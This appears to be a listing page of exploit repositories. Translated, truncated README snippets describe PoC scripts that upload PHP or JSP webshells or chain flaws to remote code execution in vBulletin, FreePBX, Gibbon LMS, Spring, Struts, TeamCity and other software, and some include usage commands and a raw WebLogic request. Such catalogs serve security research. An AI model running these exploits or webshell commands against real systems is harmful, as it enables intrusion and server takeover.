CVE-2025-48827

설명: PHP 8.1을 사용하는 Vbullettin 5.0.0 - 5.7.5 및 6.0.0 - 6.0.3 버전을 위한 RCE 기능: 멀티 스레드 파일로부터 여러 대상 읽기 Vbulletin 웹사이트 탐지 취약점 확인, 성공 시 PHP 웹쉘 업로드 사용 방법 상세: usage: CVE-2025-48827.py -h --url URL --list LIST --threads THREADS --timeout TIMEOUT vBulletin 대상에서 쉘을 식별하고 업로드합니다. 선택적 인수: -h, --help 이 도움말 메시지를 표시...

CVE-2020-29607

Alienfader 익스플로잇 / Alien@shell 웹쉘 업로드 익스플로잇 설명: 이 Python 스크립트는 Pluck CMS 예: 4.7.13 이전 버전에서 파일 업로드 제한 우회 취약점을 악용하여 PHP 웹쉘을 업로드합니다. 업로드되면 쉘"shell.phar" 이름을 사용하여 대상 서버에서 명령을 실행할 수 있습니다. 스크립트는 다음 단계를 수행합니다: 1. 대상에서 세션 쿠키를 검색하고 형식을 지정합니다. 2. 제공된 비밀번호를 사용하여 대상에 인증합니다. 3. 취약한 파일 업로드 기능을 통해 PHP 웹쉘을 업로드합니...

slopShell

slopShell php 웹쉘 사용법을 깜빡해서 얘기하지 못했네요. 자, 여기 있습니다. 이 쉘이 작동하려면 두 가지가 필요합니다. PHP 파일 업로드를 허용하는 피해자자신, 교육 환경에서와 이 웹쉘에 HTTP 요청을 보낼 방법클라이언트 스크립트가 이 쉘과 통신하는 100% 최고의 방법입니다. 커뮤니티의 모든 지원에 감사드립니다. 정말 큰 힘이 됩니다. 이제 이 쉘에 추가될 기능들입니다. 더욱 멋지게 만들기 위해. 상호 TLS Mutual TLS - 가능하다면 CA를 즉석에서 생성하는 기능 포함 더 정교한 드로퍼/쉘 자체 -...

NginxHunter

NginxHunter 설명 NginxHunter는 Nginx 액세스 로그를 분석하여 보안 취약점과 의심스러운 활동을 탐지하도록 설계된 종합 도구입니다. SQL 인젝션 시도, 스캐너 도구, 민감한 경로 접근, 익스플로잇 시도, 웹쉘 등을 감지합니다. Nginx 서버 보안을 강화하려는 시스템 관리자 및 보안 전문가에게 적합합니다. 사용법 루트 권한 사용 $ wget https://raw.githubusercontent.com/emrekybs/NginxHunter/main/nginxsecurityhunter.sh -O...

CVE-2023-45878_to_RCE

CVE-2023-45878에서 RCE로 이 스크립트는 CVE-2023-45878 취약점을 이용하여 Gibbon LMS에서 임의 파일 쓰기Arbitrary File Write를 RCE로 연쇄 및 자동화합니다. 이 스크립트는 다음 단계를 수행합니다: 1. Windows용 msfvenom 스테이지리스 리버스 셸을 생성합니다. 2. CVE-2023-45878을 악용하는 웹셸을 업로드합니다. 3. 타겟에 리버스 셸을 다운로드합니다. 4. 리버스 셸을 실행합니다...

CVE-2019-2618

PoC POST /beawlsdeploymentinternal/DeploymentService HTTP/1.1 Host: 127.0.0.1:7001 User-Agent: Mozilla/5.0 X11; Ubuntu; Linux i686; rv:20.0 Gecko/20100101 Firefox/20.0 Accept: text/html, image/gif, image/jpeg, /; q=.2 Connection: keep-alive username: weblogic password: weblogic wlrequesttype:...

spring-rce-poc

spring-rce-poc CVE-2022-22968 테스트 CVE-2022-22968에 취약한 간단한 앱 Dockerfile은 취약한 버전의 Tomcat 9.0.59에서 빌드하는 데 사용할 수 있습니다. exploit.sh는 localhost의 8080 포트에서 이 CVE를 악용하려고 시도하는 셸 스크립트입니다. exploit.sh를 사용한 공격이 성공하면 대상 앱의 http://localhost:8080/shell.jsp 컨텍스트에서 접근할 수 있어야 합니다. 기본 웹셸이 포함된 간단한 JSP 웹사이트...

CVE-2025-57819-RCE

FreePBX 16 — Unauthenticated SQLi to RCE요약: 이 설명은 FreePBX 16의 두 취약점CVE-2025-57819 및 CVE-2025-61678을 결합하여 인증되지 않은 액세스에서 원격 코드 실행Remote Code Execution, RCE으로 권한을 상승시키는 전체 공격 체인을 보여줍니다. 취약점 CVE 정보 CVE 번호 영향 구성 요소 영향 및 취약점 유형 CVE-2025-57819 Endpoint 모듈 로더brand 매개변수 인증되지 않은 다중 명령 SQL 주입Unauthenticated...

CVE-2022-22965

Spring4Shell-PoC 애플리케이션 이 애플리케이션은 컨테이너화되어 있으며 Spring4Shell 취약점CVE-2022-22965에 취약합니다. war의 완전한 Java 소스는 제공되며 변경 가능합니다. Docker 이미지가 생성될 때마다 다시 빌드될 수 있습니다. 그러면 Tomcat이 생성된 WAR을 로드하기 시작합니다. 이 애플리케이션은 Spring 튜토리얼을 기반으로 하는 간단한 hello world입니다. 특별한 기능은 없습니다. 요구 사항 1. Docker 2. Python3 + requests 라이브러리 사용...

CVE-2025-26319

CVE-2025-26319 1. 기본 파일 업로드 python flowiseexploit.py -u http://target:3000 -f localfile.txt -d /path/on/server/file.txt 2. 설정 파일 업로드 API 키 구성 수정 python flowiseexploit.py -u http://target:3000 -f newapi.json -d /root/.flowise/api.json 3. 웹셸 자동 생성 및 업로드 PHP 웹셸 업로드 python flowiseexploit.py -u...

CVE-2024-36401

CVE-2024-36401 Chokapikk의 CVE-2024-36401을 리믹스하여 제한된 환경에서 웹쉘과 유사한 동작을 가능하게 합니다. 또한 HTTP 세션이 다소...이므로 자체 서명된 TLS 세션을 허용합니다. Usage: git clone https://github.com/keelanbrady1011/CVE-2024-36401 && cd CVE-2024-36401 pip install -r requirements.txt python3 geoshell.py --lhost OWNIP --lport PORT --url...

CVE-2025-69212-PoC

CVE-2025-69212 - OpenSTAManager OS 명령 주입 PoC 사용법 의존성 설치: pip install -r requirements.txt 단일 명령 실행 및 출력 확인: python3 cve-2025-69212poc.py -u http://target.com -U admin -P 'password' -c 'id' 대신 영구적인 PHP 웹쉘 배포: python3 cve-2025-69212poc.py -u http://target.com -U admin -P 'password' --shell 옵션 플래그| 설...

CVE-2022-1388-EXP

CVE-2022-1388-EXP This is CVE-2022-1388-EXP Author:Caps@BUGFOR Github:https://github.com/bytecaps Remaker:LinJacck Github:https://github.com/LinJacck 기능 소개 검증 모드: python CVE20221388.py -v -u targeturl 공격 모드: python CVE20221388.py -a -u targeturl -c command 대량 감지: python CVE20221388.py -s -f file...

wwwolf-php-webshell

wwwolf の PHP ウェブシェル 私は他のウェブシェルを使うときに頻繁に問題に遭遇しました: 対象の一部で動作している古い PHP バージョンと互換性のない新しい PHP 構文機能を使用している。 リモート URL に関して誤った想定をしており、PHP コードインジェクションやサーバーが予期する/しないGET パラメータを壊してしまう。 標準出力の内容しか表示せず、stderr を捨ててしまうことが多い。 出力表示において特殊文字 などの扱いが不十分。 ファイルアップロードを許可していないか、対象の設定でサポートされていない/ブロックされている方法しか提供しない。 対象が UNIX...

struts-rce-cve-2017-5638

struts-rce-cve-2017-5638 Struts-RCE CVE-2017-5638 이것은 웹셸을 생성하고 콘솔에서 웹셸과 상호작용할 수 있는 bash/cmd 스타일 인터페이스를 제공하는 수정된 익스플로잇입니다...

CVE-2023-45878-POC

CVE-2023-45878-POC XAMPP Windows 환경의 gibbon LMS를 위한 CVE-2023-45878 PoC입니다. 명령 주입을 위해 shell.php라는 웹셸을 업로드합니다. 리버스 셸의 경우 shell.ps1이라는 PowerShell 리버스 셸 ps1 스크립트를 업로드하며, 이 스크립트는 shell.php를 사용하여 대상 머신에 업로드됩니다. 요구사항 Python3 Requests Python3 모듈 netcat pip3 install requests 가상 환경 mkdir CVE-2023-45878 cd...

freepbx-endpoint-sqli-rce

CVE-2025-57819 — FreePBX 엔드포인트 모듈 SQL 인젝션 → 원격 코드 실행 요약 FreePBX는 Asterisk PBX를 위한 오픈소스 웹 GUI로, 기업용 전화 환경에서 널리 배포됩니다. 엔드포인트 매니저 모듈은 /admin/ajax.php에서 AJAX 핸들러를 노출하며, 이 핸들러는 brand 매개변수를 받아 SQL 쿼리에 직접 삽입합니다살균 처리 없음. 인증되지 않은 원격 공격자는 임의의 SQL을 주입하고, cronjobs 테이블에 행을 삽입한 후, FreePBX cron 데몬이 웹 루트에 실행 가능한...

CVE-2026-63077

CVE-2026-63077 — JetBrains TeamCity 未認証RCE -red.svg 重大な未認証リモートコード実行（CVSS 9.8）— 実環境で活発に悪用中 このリポジトリには、JetBrains TeamCity における重大なデシリアライゼーション脆弱性である CVE-2026-63077 に対する完全に機能する概念実証（PoC）エクスプロイトが含まれており、未認証の攻撃者がサーバー上で任意のコマンドを実行できるようにします。 このエクスプロイトは、Agent Registration...

CVE-2025-5781

FreePBX CVE-2025-57819 エクスプロイト 説明 このスクリプトは、FreePBX 16.0.26.0 未満のバージョン（CVE-2025-57819）の脆弱性を悪用し、AJAX API エンドポイントの SQL インジェクションの欠陥を介して、リモート攻撃者が任意の PHP コードを実行できるようにします。このエクスプロイトは、ウェブシェルと自動起動するリバースシェルの両方を作成します。 脆弱性の詳細 CVE : CVE-2025-57819 影響を受けるバージョン : FreePBX 16.0.26.0 影響 : リモートコード実行 RCE ベクトル : AJAX...

CVE-2016-10204_Webshell

CVE-2016-10204Webshell 대상 엔드포인트에 대해 CVE-2016-10204의 수동 익스플로잇을 시연하고 PHP 웹쉘 업로드로 이어지는 bash 스크립트입니다. 현재 webshell 변수는 MySQL 페이로드로 설정되어 있습니다. 이는 대상으로 삼아야 하는 백엔드에 따라 변경할 수 있습니다. 이 CVE에 대한 자세한 정보는 다음 출처에서 확인할 수 있습니다: https://nvd.nist.gov/vuln/detail/CVE-2016-10204 https://www.exploit-db.com/exploits/412...